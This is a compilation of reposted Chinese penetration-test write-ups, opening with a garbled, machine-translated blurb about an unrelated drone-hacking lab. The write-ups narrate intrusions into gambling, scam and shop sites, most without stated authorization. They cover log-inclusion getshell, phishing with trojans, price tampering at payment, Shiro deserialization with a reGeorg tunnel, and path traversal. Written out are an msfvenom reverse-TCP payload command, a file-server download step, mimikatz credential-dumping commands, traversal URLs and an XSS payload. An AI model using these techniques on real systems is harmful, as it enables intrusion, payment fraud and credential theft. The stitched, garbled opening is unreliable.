基于Docker的Environment:在完全虚拟化的Docker设置中运行,使其可访问且可用于无人机黑客入侵实验。模拟无线网络:模拟WiFi(802.11)界面以练习无线无人机攻击。板载摄像头流式gimbal:模拟了带有饰品和伴随计算机集成的板上摄像机流。 Companion Computer Web界面:通过Web界面和模拟飞行控制器的串行连接,伴随计算机配置管理。 Q groundControl/Mavproxy Integration:一键式QgroundControl UI启动(仅在X86体系结构上支持)具有Mavproxy GCS Integration。 Mavlink路由器Integration:通过MAVLINK路由器在配套计算机Web界面上通过Mavlink路由器转发。动态飞行登录:存储在模拟的SD卡上的完全动态的ArdupiLot飞行箱记录。管理Web控制台:易于使用模拟器管理Web控制台,用于触发场景和无人机飞行状态。全面的黑客方案:非常适合练习从基本侦察到高级剥削的各种无人机黑客入侵技术。详细的演练:如果您需要在特定情况下进行帮助,则可以利用详细的演练文档作为扰流板。

拿到目标站这个页面

图片

还没开始就已经准备放弃

然后咱看右上角有个积分商城,心如死灰的我点进去

图片

看到这个页面直接摔门出去抽烟十分钟[别问为什么一问就是之前没搞成

开始信息收集吧

拿到这个积分商城把域名放进fofa

图片

得到真实ip以后找到了宝塔后台登录面板

图片

然后用域名/ip对目录进行扫描[御剑超大字典那款]看着语言栏勾选啊,还不知道啥脚本语言域名后面直接跟上index.php[有页面]、index.jsp[404]、index.asp[404]好嘞勾上php得到后台

图片

像这样的页面源码很少的就碰运气找特征来试

图片

在fofa中搜索

图片

很多页面都是显示onethink,然后放百度搜一下

图片

确定了是这个框架并且是基于thinkphp开发的[这里有个思路:
当我们用tp框架漏洞去打的时候如果不成功,
那么我们就可以利用找到的cms进行代码审计,
基于我们上面已经找到了宝塔登录面板那么我们可以审计任意文件读取得到宝塔用户名密码,
计划任务getshell]利用tp漏洞扫描工具获得POC

图片

debug报错出来是tp5.0.1搜了一下找到了日志路径尝试利用日志包含一直没成功
后来发现他的日志到了一定的数量就会清空phpinfo页面
会占有一定的kb所以要通过burp让他的日志清空再进行包含
把url编码抓包给转换成<?php phpinfo();?> //具体原因见[漏洞汇总 文件包含]

图片

图片

发送send时日志文件在burp里面没显示完马上就没有了此时再回头看最初POC当POC成功的时候下面会有debug信息

图片

所以我们把注意力放在Raw当执行成功时会显示以下信息提取关键特征

图片

提取关键特征在Raw里面进行搜索

图片

图片


所以当如果<?php phpinfo();?>包含进去了的话就会有这两个特征重复刚才的操作把我们的<?php phpinfo();?> 
写进日志抓包把url的%3C?php%20phpinfo();?%3E转换成<?php phpinfo();?>
这里要注意,他的日志到了一定量的时候就会被清空就包含不了我们的恶意代码当我们写<?php phpinfo();?>
在日志时候,每发送一次就要访问日志查看是否存在<?php phpinfo();?> 这里我试了三次,成功包含
寻找特征(成功包含)剩下的getshell就不说了太简单了,只要包含进去了执行了getshell不是问题

图片



图片


转载于原文链接: https://mp.weixin.qq.com/s/vE5QQx0FI_0OWVQ-6Uc9xg


前言

由客户授权的一次攻防演练,从外网钓鱼到内网遨游,也算是幸不辱命,攻击路径绘制了流程图,接下来会按照我画的攻击流程图来进行讲解,流程图如下:
报告流程图.png

外网钓鱼

首先外网收集相关信息,添加微信,构造与客服业务相对
应的话术,诱导对方点击木马,过程如下图:
image.png
客服成功上线如下图:
image.png
然后对该企业的总监同样实施微信钓鱼,构造的话术为商务合作,诱导对方点击木马如下:
image.png

同样上线:
image.png

内网遨游

登陆相关系统

翻阅客服终端,发现密码本,成功登陆邮箱系统,发现大量内部办公邮件如下:
image.png

通过密码本登陆运营平台,发现2000w+记录如下:
image.png
同时还发现该运营系统存在SQL注入如下:
image.png
使用sqlmap获取数据库用户密码如下:
image.png

通过密码本登陆Zabbix系统如下:
image.png

发现某源码,开审!

翻阅另一台终端文件时,发现了一个压缩包为install.zip,解压查看,发现为某系统源码:
image.png
语言为PHP如下:

image.png

审计源码发现该系统后台插件添加处存在任意文件上传漏洞,通过添加插件的方式对向服务器中写入webshell获取到多台服务器权限。
重点在Build()函数里
image.png

直接把请求的config数据写入到插件目录下的config.php文件中了,如下:
image.png

burp构造数据包发包:
image.png
解析成功,getshell如下:
image.png
image.png

通过此0day拿下多台服务器权限如下:

image.png

掌控云上资产

通过前面控制的机器,在其中一台机器中,翻阅配置文件,找到数据库账号密码,登陆数据库在其中一个表中发现了AK/SK如下:
image.png
可以接管阿里云所有系统:
image.png

拿下gitlab

通过linux历史记录获取到gitlab后台权限如下
image.png

通过探测发现gitlab存在历史漏洞CVE-2021-22205,利用该漏洞获取到gitlab服务器权限
image.png

利用gitlab的redis未授权访问漏洞写入ssh密钥,获取到root权限如下:
image.png
image.png

在gitlab的代码中进行翻阅,发现禅道数据库账号密码,真香,同时也在这里提个小建议,如果进入内网并发现gitlab,第一时间拿下来,好处多多。
image.png

数据库直接修改root密码进入后台:
image.png
通过后台功能getshell如下:
image.png

征服Jenkins

通过gitlab系统发现该机器存在nginx,通过查看nginx配置文件,发现对sonar\jenkins\等多个系统进行反向代理,通过在jenkins.conf文件中配置日志 获取cookie格式,获取到了jenkins用户登陆cookie如下:
image.png
image.png
image.png

使用获取到的cookie成功登陆Jenkins:
image.png

小结

通过社工钓鱼撕开口子,内网转了一大圈,也获取了一些成果,咱们下期见。


转载于原文: https://forum.butian.net/share/2583

某天挖 edu 挖到自闭,然后想着 fofa 一下,看看有没有什么好玩的站点

图片

好家伙,居然还真有这种商城,原谅我孤陋寡闻了。于是乎,想进去学习了一下

图片


首先,进行了一下初步的信息收集

图片

基本上都是伪静态的,没有什么发现可以明显判断其网站后端语言的地方在搜索框点击搜索后


可以发现这个地址并不能帮助我们判断该站的类型但也要尝试一下SQL注入

图片


然后直接被 Ban IP了,索性放弃对这个地方的继续研究,继续翻找其他功能点。当我们点击订单查询时


图片


可以发现Url 产生了变化

图片

跳转到了登录注册页面,既然来都来了,注册一个看看有没有其他业务,黑不走空,哈哈哈

图片

昵称处尝试打 Xss,发现也会被 Ban IP,那就先放一下,找找有没有什么业务逻辑漏洞吧。尝试购买一些商品,之前一直听说支付漏洞,但弟弟从没有真正遇到过,碰碰运气吧


图片


点击购买,抓包发现 cookie 中出现了一个奇怪的参数

图片

我们拿去urldecode 一下,看看是什么东西

图片

那就猜测一下,可以看到前面应该是价格,后面是购买的个数,我们先改一下

图片


编码回去,覆盖发包

图片

因为在 cookie 里,所以传过去的每个数据中的 cookie 都要改

图片

可以发现,我们的单价变为了 1,数量为 10,总额变为了 10,记录一下参数之间对应的关系


提交订单,修改cookie内的值,然后继续,页面跳转到了支付宝付款页面

图片


点开支付宝,发现价格的确发生改变


图片

没错,75元的商品,只需要17元即可支付,但是商家发不发货就不晓得了


意外惊喜


图片然后,我有发现有个参数之前没测试,那就试一下吧

user_zheko,应该就是折扣的意思,那我修改一下,验证一下

已知 100 是无折扣,那我改成 0 呢?发现无法弹出地址的那栏

图片




改成 1 后,果然享受了一折优惠,哈哈哈哈

图片

可以发现,只用支付 14 元了,享受 1 折优惠继续缴费操作,然后还有7元邮费<万恶的商家居然不包邮>,然后支付21元,即可把增*器带回家,想想就刺激呢!


图片


文末总结:


1、挖洞还是就一句话,心细则挖天下!

2、面对逻辑漏洞,一定要注意每个页面交互跳转时的参数,尽可能的去猜测传的每一个参数的作用是什么。Burp看不方便的话 F12 也可以看到,看自己喜好和习惯了。一定要细心去测,不要放过一些细小的点,说不定就会有惊喜

3、订单查询都没发现可以越权,没想到支付点居然是前端可控的,嘿嘿嘿


转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486060&idx=1&sn=a4b977e9e3bbfe7b2c9ec479942e615c&chksm=ce67a0f5f91029e30c854eb2f71173efe925a38294fd39017708abcf4deea5c2b25dee518ebf&scene=21#wechat_redirect


0X00       歪打正着

无意间碰到一套垃圾菠菜网站杀猪盘

图片

图片

挨个访问能扫描出来的目录与文件发现并没有太大作用,不过发现了后台地址。phpmyadmin访问500。

图片

图片

访问xd.php到后台访问发现还需要授权验证码

图片

试了下8888,123456之类的都提示错误,当场关闭。

图片


尝试子域名爆破也只有一个。Nmap扫描也没有什么发现。返回首页发现url有点不常见。

图片

0X01    寻找同类型网站以及源码

这种搞诈骗的很少会开发肯定源码是从网上下载找人搭建的,不常见就是特征,于是搜索了下。

图片图片


0X02    开始审计

这么多网站那源码肯定烂大街了,于是花了点时间找到了源码,尝试审计。

图片

下载回来源码用seay扫描下,源码又太大我也懒得去本地搭建,直接用源码对着目标进行怼。

图片


从中发现了个fileupload.php文件好像有点问题。

图片

访问目标发现也存在该文件。把该文件提取出来到本地搭建的环境中做测试。

图片

直接访问会自动创建出upload和upload_tmp两个文件夹,这玩意是个demo这个点其实看起来更像个后门。

图片

图片

并且filename变量完全是可控的。

图片

继续往下看发现一些判断,可以表单上传名就为file。

文件上传

其他的就不用管了,直接改个上传表单。只要加上参数name和file就行了。


图片

name参数控制上传文件名为aaa.php

图片


选择1.jpg上传

图片

上传后没有返回路径但是在upload下已经存在aaa.php文件。

SQL注入

图片

变量中where的值又是来自request中,并且上面的checkinput中也没有检测type的值。

图片

跟入betListCnt

图片图片没有任何处理就直接带入查询了,类似点还有许多。

0X03    验证审计到的漏洞

图片

通过之前的上传拿到webshell,尝试提权。

图片

发现是debian的。发现有6379端口但是不是root用户启动的redis

图片

图片

看了下内核版本感觉应该可以,尝试寻找提权exp。

图片

生成msf马

图片

为了方便我就用msf上线了这台机器。然后寻找对应的提权exp。

0X04    尝试提权

找到这两个CVE-2019-13272、CVE-2017-16995当我在github上找利用工具的时候,我想起msf其实也自带提权的。于是尝试搜索了下

图片

搜到了就利用

图片

图片

结果当场失败

图片

尝试第二个CVE-2017-16995

图片

图片

图片成功返回一个root权限的会话,提权完毕


转载于原文链接: https://mp.weixin.qq.com/s/Yh0qq5imlfHhNQnbtPfxcA

0X00 事情起因

  大街上偶遇预存话费3999送平板被套路,支付宝被一顿操作又套现又转账的把我花呗都套走了。

回到家越发越觉得不对劲,越发越后悔,网上一搜关于这类的活动一抓一大把而且一模一样越看是越生气啊。

图片  

最主要的呢,送的平板也是八百多的根本不值预存话费的这个价,且居然有卡死的现象,于是乎我决定深挖瞧瞧。

0X01 信息收集

 通过验证短信发过来的短域名链接复制到浏览器解析得到网址xx.xxxx.xx好家伙这网址一看就不是移动官方旗下的,在通过站长工具查询该网址解析到阿里云且未启用cdn,该域名持有者系广东一家某科技公司,域名到今年11月份就到期了,在通过搜索该企业发现经营异常这四个大字,我这好几千的话费肯定是凉透了。

图片图片图片

通过对得到的域名用nmap -p 1-65355 xx.xxxx.xx进行全端口扫描瞧瞧都开放了哪些服务,再从其服务进行入手,可以看到也就只有80跟22端口,唯一有用的信息就是22端口知道对方是Linux服务器的。

图片

在通过对80端口访问web服务得到以下信息,这界面也是短信内容里短域名所跳转过来的界面。

图片

它的URL形式是/admin/user/login明显的用户登陆界面,众所周知admin是管理的意思,直觉让我逐层递减目录访问,果不其然跳转到了admin/login的商家管理界面。

图片


0X02 漏洞挖掘

目前初步找出两个登陆界面,后台登陆是没有验证码的可进行爆破操作,但前提条件是知道商家的手机号,这里就先正常登陆我自己的用户瞧瞧里面有无可利用的地方,功能很简单并无可利用的地方头像处也无法进行编辑上传等操作该界面也只是提供显示话费的总额,我猜他们搭这样一个平台也只是显示个数字前几个月唬住消费者。

图片

决定退出用户用burp抓个包分析分析传输的数据,输入正确的手机号验证码以及短信验证码开启抓包,可看到参数都是以明文传输的,验证码这些均与正确那我如果替换成别的用户是不是可以达到一个水平越权漏洞了呢,mobile处替换号码成功登陆别的用户斩获水平越权漏洞一枚。

图片图片

一样的个人中心一样的无任何利用的地方,转战后台登陆框框,像这类的后台二话不说直接使用burp抓个登陆的POST包在保存到本地txt文件使用sqlmap跑一跑说不定有意外的收获,因为是阿里云的服务器本地跑百分百的被拦截,所以我选择用与它相同的阿里云服务器去跑,username,password,remenbaer这三个均不存在注入。

图片图片

没事,抓个包发个包看看响应回来的数据,可以看到账号的内容直接输出在了value的标签上。

图片

构造xss payload闭合插它!!”><script>alert(/xss/)</script>然后在重新发包斩获反射性xss一枚。

图片

图片


0X03 Getshell

挖到的那个两个漏洞太鸡肋了,思路也暂时断了回过头再分析分析抓到的数据包,一直没太注意响应包仔细一看发现rememberMe=deleteMe字样,shiro反序列化漏洞呀。

图片

直接怼上exp,这里直接查看源代码取网站内的静态文件填入做检测。

图片

可看到命令执行框内是可输入的证明存在该漏洞相反不存在则不可输入,且在/css的同级目录下生成了5663.js的验证文件,访问测试是否成功写入文件。

图片图片

成功写入文件,接下来写入shell冰蝎连接执行whoami查看当前权限,Linux的环境直接root最高权限省去了需要提权的麻烦。

图片

权限有了,并且服务器对外开放22端口可以直接写入公钥免密登陆,但考虑对方是阿里云的服务器异地登陆的话会有短信提醒动静太大所以没执行该方案,继续挖掘有用的信息,翻了半天翻到了个数据库的配置文件,数据库连接的地址是172.xx.xx.xx(各位师傅技艺高超内网地址也给码上防止爆菊)一看就知道是内网的ip站库分离啊,想办法代理转发出来连接瞧瞧。

图片

冰蝎上有个Socks代理配合Proxifier在加上Navicat Premium数据程序管理进行隧道代理打入其内网数据库,常规的配置好Proxifier后添加程序进行连接,可问题来了反反复复试了好几次一点连接就直接数据异常,十有八九的被拦截了。

图片

在内网代理这块踩了不少的坑总而言之还是自己经验不足,也有各位师傅指点使用adminer.php(这里手动@Uncia大佬),adminer确实不错很轻量便捷只需上传web目录即可但奈何使处的环境是Java环境只支持jsp脚本adminer也只有php的脚本。

图片


0X04 内网代理

既然adminer不支持冰蝎也代理不出,那咱们就自己搭一条代理的隧道出来,在这里踩了不少的坑尝试利用reDuh和Tunna要么就是没流量要么就是连上一下子就断开,不知道是不是我的姿势不对还是受当前环境的限制,最终在GitHub上找到reGeorg神器。

reGeorg 可以说是 reDuh 的升级版,主要是把内网服务器的端口通过 http/https 隧道转发到本机,形成一个回路,用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口,它利用 webshell 建立一个 socks 代理进行内网穿透,因为当前环境是java所以我们上传.jsp的转发文件到网站目录下。

上传脚本后访问其脚本,显示Georg says, 'All seems fine',代理成功。

图片

后在本地执行python2 reGeorgSocksProxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jsp在命令行界面同样显示Georg says, 'All seems fine'即可。

图片

打开Proxifier基本配置好监听本地127.0.0.1的9999端口,然后设置代理规则添加Navicat程序,其他动作选择Direct关闭状态唯独只允许Navicat流量通过。

图片

配置完后,右键Navicat以Proxifier本地代理模式打开。

图片

可以看到已稳定链接且Python窗口有流量传输(切记代理过程中请勿关闭窗口)。

图片


0X05  实锤骗局

 数据库咱也连上了,看看会员表里的账号,通过筛选member会员表里的name字段查找自己的名字,果不其然自己就躺在那里数据的时间跟被套路的时间相吻合。

图片

如何实锤?很简单库里的第一批用户是2019年5月份的,到现在也相差一年了,这是不是骗局登录19年的账号看看返现记录就一幕了然,就随机抽取一位幸运玩家结合前面的水平越权漏洞登录其账号。

图片

这都过去一年时间了果然也就只首次返现一次,前几个月唬住消费者过后又以各种理由的欺骗你,总之永远吃亏的还是消费者。

图片


0X06  写到最后

至于为何写这篇文章,因为我也是受害者我想通过这样的方式去剖析它让大家更直观的了解这个局以免更多的人被套路,你去办理的时候他们会跟你说这是移动授权下来的活动(之前也是这么跟我说的),但这一路下来可以看出跟移动半毛钱关系没有,只不过是他们自主搭建的一个平台,里边的余额也只是唬住你,有这么一个平台一个数字显示出来让你放心而已,至于首月到账的那几百块也只是从你那套的好几千手动给你充值给几百而已。

不说了,接下来的一年里我要吃土还花呗了嘤嘤嘤,商家登录系统那我估计还会有更多的猫腻,但渗透测试点到为止,我的目的就是证明这是不是一个骗局既然实锤了咱们也没必要在深入了。

我们所做的安全对抗,正如同没有硝烟的战争,战争的结果除了输赢之分,还有正义与非正义之别,唯一的区别就是我们要时刻站在正义的视角,探索了其漏洞原理,却不因此对其造成损害




转载于原文链接地址: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486245&idx=1&sn=ebfcf540266643c0d618e5cd47396474&chksm=ce67a1bcf91028aa09435781e951926067dcf41532dacf9f6d3b522ca2df1be8a3c8551c1672&scene=21#wechat_redirect


信息收集

         正准备开干,有人企鹅私聊我让我跟他赚大钱。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

         群发也就算了,都开始私聊了,现在不法分子猖狂到什么地步了,这能惯着它。。。京东卡先放放,打开前台是个博彩论坛。

记一次菠菜论坛的渗透测试经历

        随手一个login,后台出来了,网站是php的,常用口令试了几次,admin存在,密码错误。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           放在云悉上看一下。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           访问一下子域名,很僵硬。

记一次菠菜论坛的渗透测试经历

        再看看端口吧,3306开放,主机是Windows的。

记一次菠菜论坛的渗透测试经历

       收集完毕,框架没扫出来,几乎没啥进展,唯一的突破点就是后台和端口了。

记一次菠菜论坛的渗透测试经历

登录后台

       3306抱着尝试心态爆破试试,不出意外,mysql没出来。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

    top100后台爆破试了一下没出来,希望不大,翻找js,可能会有口令,敏感路径,特殊接口什么,但是真的干干净净,可能我看的不仔细。

没有其他突破点,只能再爆破后台试一下了,拿了个大字典,真的跑了超久,最后总算出来了,铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。

记一次菠菜论坛的渗透测试经历

坎坷上传

后台论坛文章管理处看见编辑器,瞬间两眼放光。

记一次菠菜论坛的渗透测试经历

      允许单图片、多图片尝试上传。

记一次菠菜论坛的渗透测试经历

         裂开了,白名单限制。

记一次菠菜论坛的渗透测试经历

        各种截断绕过失败。

记一次菠菜论坛的渗透测试经历

          看看是什么编辑器,翻找js文件,得知为wangeditor编辑器。

记一次菠菜论坛的渗透测试经历

        网上搜了一下,这个编辑器好像没什么漏洞,思路已干~

记一次菠菜论坛的渗透测试经历

转折出现

继续翻翻找找,发现订单详情也可下载订单图片。

下载链接:

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历

通过下载链接得到了网站绝对路径,猜测wwwroot为网站根目录,难道存在任意文件下载?

构造链接尝试一下:

http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

Nice啊,胡汉三终于要翻身了。

记一次菠菜论坛的渗透测试经历

继续寻找配置文件,一般index.php会引入数据库配置文件。

http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php

记一次菠菜论坛的渗透测试经历

继续构造查看config.php。

http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php

记一次菠菜论坛的渗透测试经历

拿到账号尝试连接,提示没有权限,还是以失败告终,猜测存在防火墙,或者数据库host值设置为仅本地访问。

没办法,继续翻,尝试读取apache配置文件。

http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历

王特发!!!html文件可作为php文件执行,赶紧回去尝试上传文件处,修改后缀上传,俩处上传点均上传失败~

继续翻,在会员管理找到一处上传头像处。

记一次菠菜论坛的渗透测试经历

修改文件名称上传,响应并返回上传路径。

记一次菠菜论坛的渗透测试经历

构造链接下载,文件下载已成功,证明存在。

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历

拼接访问,成功解析。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历

激动地心,颤抖的手啊,成功getshell。

记一次菠菜论坛的渗透测试经历

梭哈成功

尝试提权,查看补丁情况,更新了不少,不过总有漏网之鱼。

记一次菠菜论坛的渗透测试经历

使用工具,直接搜索未打补丁,exp怼上,提权成功,拿到管理员权限。

记一次菠菜论坛的渗透测试经历

继续反弹shell,毕竟终端用的不舒服,这里用MSF反弹shell。

1、首先使用msf在本地生成一个木马文件,指定payload;

msfvenom -p  windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历

2、本地开启python服务器,端口为8000;

python -m http.server 8000

记一次菠菜论坛的渗透测试经历

3、将文件放置在python服务器中,查看已经开启;

记一次菠菜论坛的渗透测试经历

在终端目标机中下载exe文件;

echo  open  服务器ip:8000>exe文件。

记一次菠菜论坛的渗透测试经历

4、使用msf中reverse_tcp开启监听;

handler -p windows/meterpreter_reverse_tcp -H ip -P 4444

记一次菠菜论坛的渗透测试经历

5、执行exe文件,成功收到shell。

记一次菠菜论坛的渗透测试经历

拿到会话不要掉以轻心,MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认加载32位系统,所以如果目标主机是64位系统,直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文,同时也是防止会话断掉。

Ps查看进程,寻找稳定进程进行迁移。

migrate pid号

记一次菠菜论坛的渗透测试经历

将meterpreter进程迁移到408进程:migrate  408

记一次菠菜论坛的渗透测试经历

成功迁移,万事具备,就差密码,同样使用MSF中mimikatz模块抓取密码。

首先加载mimikatz模块:

记一次菠菜论坛的渗透测试经历

这里列出 mimikatz_command模块用法:

meterpreter > mimikatz_command -f a::  输入一个错误的模块,可以列出所有模块

meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f handle::list  列出应用进程

meterpreter > mimikatz_command -f service::list  列出服务

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

meterpreter > run post/windows/gather/smart_hashdump  获取hash

选择samdump模块,该模块存在俩个功能:

?  mimikatz_command -f  samdump::hashes

?  mimikatz_command -f  samdump::bootkey

记一次菠菜论坛的渗透测试经历

但是这样抓到的是密码的hash值,我想直接看到明文密码,使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。

mimikatz_command  -f sekurlsa::searchPasswords

记一次菠菜论坛的渗透测试经历

最后3389连接成功,打完收工。

记一次菠菜论坛的渗透测试经历

证明有时当一当铁头娃还是不错的。

总结

从云悉,fofa,各类插件,子域名,端口信息收集,爆破后台进入该站点(有个好字典很重要),找到编辑器上传文件失败,白名单限制,js文件找到该编辑器名称,查询编辑器漏洞无果,找到图片下载处功能点,下载链接暴露网站路径,通过文件下载找到数据库配置文件,连接无权限,找到apache配置文件,发现文件后缀可绕过,另寻其他上传点成功getshell,提权操作后使用MSF中mimikatz模块抓取到登录密码,远程桌面连接成功,至此渗透结束。


转载于原文链接: https://cloud.tencent.com/developer/article/1790943